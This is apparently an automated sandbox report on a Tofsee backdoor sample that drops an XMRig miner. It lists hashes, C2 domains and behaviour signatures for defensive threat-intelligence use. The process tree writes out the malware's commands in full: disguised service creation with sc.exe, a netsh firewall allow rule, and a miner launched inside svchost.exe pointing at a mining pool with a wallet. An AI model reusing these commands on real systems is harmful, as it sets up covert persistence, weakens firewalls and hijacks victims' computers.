Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    03-05-2023 20:15

General

  • Target

    file.exe

  • Size

    237KB

  • MD5

    5f22cf2b4084eeb86e75a33e469f8618

  • SHA1

    dcae74f903c5bf5ea85d20ff674ebc747eda60dd

  • SHA256

    650b125ce1f1646d33549681d7a1cfc8846f01a94d96d7cf1654cb1499442828

  • SHA512

    2fde1c85438e3e52cbc95def2e245b131dee2f5b8953d872f12adbbfcba835f467b43b482fe26b61d4d7d36615a7271412b5fc646f5b8c0a3cca709b1581a642

  • SSDEEP

    3072:DBGOKty9CLpLgdVLKNIFMae2nsvmPo+kysBmK:NBDgtLgzLoahnseEysZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jflkvhtf\
      2⤵
        PID:1980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe" C:\Windows\SysWOW64\jflkvhtf\
        2⤵
          PID:1860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jflkvhtf binPath= "C:\Windows\SysWOW64\jflkvhtf\vcbowwei.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jflkvhtf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jflkvhtf
          2⤵
          • Launches sc.exe
          PID:1184
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1244
      • C:\Windows\SysWOW64\jflkvhtf\vcbowwei.exe
        C:\Windows\SysWOW64\jflkvhtf\vcbowwei.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:628
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1860

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe

        Filesize

        13.0MB

        MD5

        442d7067b11062495b2570bb88e6a84b

        SHA1

        41c8824ffc721e9615b76028956f1a169b3eaec5

        SHA256

        b4d5d6d46d95cfd3344a3aea8321898a3772b27f61c275a5eaf13fb0335355d5

        SHA512

        d40ce842178316598682345119b00dabbea3e5f94dbf77a1cec9908525fbe2ab6ae2e36682dfbe731f8eed87f814318e21aa7d5bd3c71e7ebee04f9cb3f49e99

      • C:\Windows\SysWOW64\jflkvhtf\vcbowwei.exe

        Filesize

        13.0MB

        MD5

        442d7067b11062495b2570bb88e6a84b

        SHA1

        41c8824ffc721e9615b76028956f1a169b3eaec5

        SHA256

        b4d5d6d46d95cfd3344a3aea8321898a3772b27f61c275a5eaf13fb0335355d5

        SHA512

        d40ce842178316598682345119b00dabbea3e5f94dbf77a1cec9908525fbe2ab6ae2e36682dfbe731f8eed87f814318e21aa7d5bd3c71e7ebee04f9cb3f49e99

      • memory/628-88-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-60-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-89-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-107-0x0000000000270000-0x0000000000277000-memory.dmp

        Filesize

        28KB

      • memory/628-66-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-106-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/628-71-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/628-105-0x0000000005980000-0x0000000005D8B000-memory.dmp

        Filesize

        4.0MB

      • memory/628-75-0x0000000000140000-0x0000000000146000-memory.dmp

        Filesize

        24KB

      • memory/628-90-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-81-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-82-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-83-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-84-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-85-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-86-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-87-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-74-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/628-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/628-78-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-91-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-92-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-93-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-94-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-95-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-96-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-97-0x0000000000210000-0x0000000000220000-memory.dmp

        Filesize

        64KB

      • memory/628-98-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/628-101-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

      • memory/628-102-0x0000000005980000-0x0000000005D8B000-memory.dmp

        Filesize

        4.0MB

      • memory/1860-111-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-112-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-119-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-120-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-121-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-122-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-123-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1860-124-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1936-64-0x0000000000400000-0x00000000006BD000-memory.dmp

        Filesize

        2.7MB

      • memory/2028-56-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/2028-67-0x0000000000400000-0x00000000006BD000-memory.dmp

        Filesize

        2.7MB